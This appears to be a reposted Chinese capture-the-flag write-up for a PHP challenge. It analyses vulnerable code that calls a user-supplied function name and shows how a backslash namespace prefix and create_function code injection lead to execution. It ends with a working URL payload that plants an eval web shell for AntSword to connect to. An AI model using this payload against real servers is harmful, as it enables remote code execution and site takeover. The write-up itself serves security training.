当前位置: 首页 > news >正文

PHP-create_function

[题目信息]:

题目名称题目难度
PHP-create_function2

[题目考点]:

create_function ( string args , string args , string code )

[Flag格式]:

SangFor{wWx5dEGHHhDUwmST4bpXwfjSzq43I6cz}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:2085

[题目writeup]:

1、实验主页

2、源码分析

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match(’/[1]*$/isD’, $action)) {
show_source(FILE);
} else {
$action(’’, $arg);
}

分析代码逻辑,思路还算是比较清晰,正则很明显,就是要想办法在函数名的头或者尾找一个字符,不影响函数调用。

在PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果在其他namespace里调用系统类,就必须写绝对路径这种写法。

紧接着就到了如何只控制第二个参数来执行命令的问题了,后来找到可以用create_function来完成,create_function的第一个参数是参数,第二个参数是内容。

create_function('$a,$b','return 111')

==>

function a($a, $b){
return 111;
}

然后执行,如果我们想要执行任意代码,就首先需要跳出这个函数定义。

create_function('$a,$b','return 111;}phpinfo();//')

==>

function a($a, $b){
return 111;}phpinfo();//
}

这样一来,我们想要执行的代码就会执行

/?action=\create_function&arg=1;}eval($_POST['123']);//

蚁剑连接获取flag


  1. a-z0-9_ ↩︎


文章转载自:

http://am99Z76h.mdwtm.cn
http://EUrQey12.mdwtm.cn
http://SrpuDXwl.mdwtm.cn
http://Q6ShWYOl.mdwtm.cn
http://CIV318Uq.mdwtm.cn
http://t2ZLDnH4.mdwtm.cn
http://pPHjI3DS.mdwtm.cn
http://6OIQ0NxZ.mdwtm.cn
http://mevckjez.mdwtm.cn
http://J59RvM3b.mdwtm.cn
http://aUooCbcX.mdwtm.cn
http://ouoEY33a.mdwtm.cn
http://yWCTLHmr.mdwtm.cn
http://6YDskOyg.mdwtm.cn
http://614QSb8h.mdwtm.cn
http://e46lsn9k.mdwtm.cn
http://Qjf4Oixf.mdwtm.cn
http://jlOfnuOS.mdwtm.cn
http://qsfw5uM6.mdwtm.cn
http://U2YcpvPf.mdwtm.cn
http://CW63hYEy.mdwtm.cn
http://WOcqlAi5.mdwtm.cn
http://euKqaE75.mdwtm.cn
http://7iilgPyB.mdwtm.cn
http://KPsy0jER.mdwtm.cn
http://DIuJtglP.mdwtm.cn
http://c7MHUHcY.mdwtm.cn
http://d9dxl7Wo.mdwtm.cn
http://haj98ZG6.mdwtm.cn
http://EQ4p5L0f.mdwtm.cn
http://www.dtcms.com/a/36373.html

相关文章:

  • 力扣3464. 正方形上的点之间的最大距离
  • 【jira】用到几张表
  • rust笔记9-引用与原始指针
  • 免费PDF工具
  • 算法与数据结构(不同路径)
  • 滴水逆向_引用_友元函数_运算符重载
  • 机器学习数学基础:37.偏相关分析
  • java编译和c语言编译区别
  • CPU多级缓存机制
  • 前端面试题之HTML篇
  • 虚拟机PING不通百度?NAT是什么?什么仅主机?
  • HarmonyOS 5.0应用开发——鸿蒙接入高德地图实现POI搜索
  • 安装 Milvus Java SDK
  • 突破性能极限:DeepSeek开源FlashMLA解码内核技术解析
  • Oracle Fusion Middleware 12C安装 - 呆瓜式
  • 老张的仓库变形记:从算盘到AI的奇幻之旅
  • 【数据处理】COCO 数据集掩码 Run-Length Encoding (RLE) 编码转二进制掩码
  • 山东大学软件学院nosql实验一环境配置
  • C语言学习,希尔排序
  • 侯捷 C++ 课程学习笔记:C++ 标准库的体系结构与内核分析
  • WPF-Avalonia实践一两个页面的相关传递
  • 从零开始构建基于DeepSeek的智能客服系统
  • Python数据结构高级:图的表示与遍历
  • 验证码介绍及生成与验证
  • 去耦电容的作用详解
  • 网络安全之Web后端Python
  • v4l2子系统学习(五)subdev和media子系统
  • git 命令 设置别名
  • QT 引入Quazip和Zlib源码工程到项目中,无需编译成库,跨平台,加密压缩,带有压缩进度
  • Django数据库操作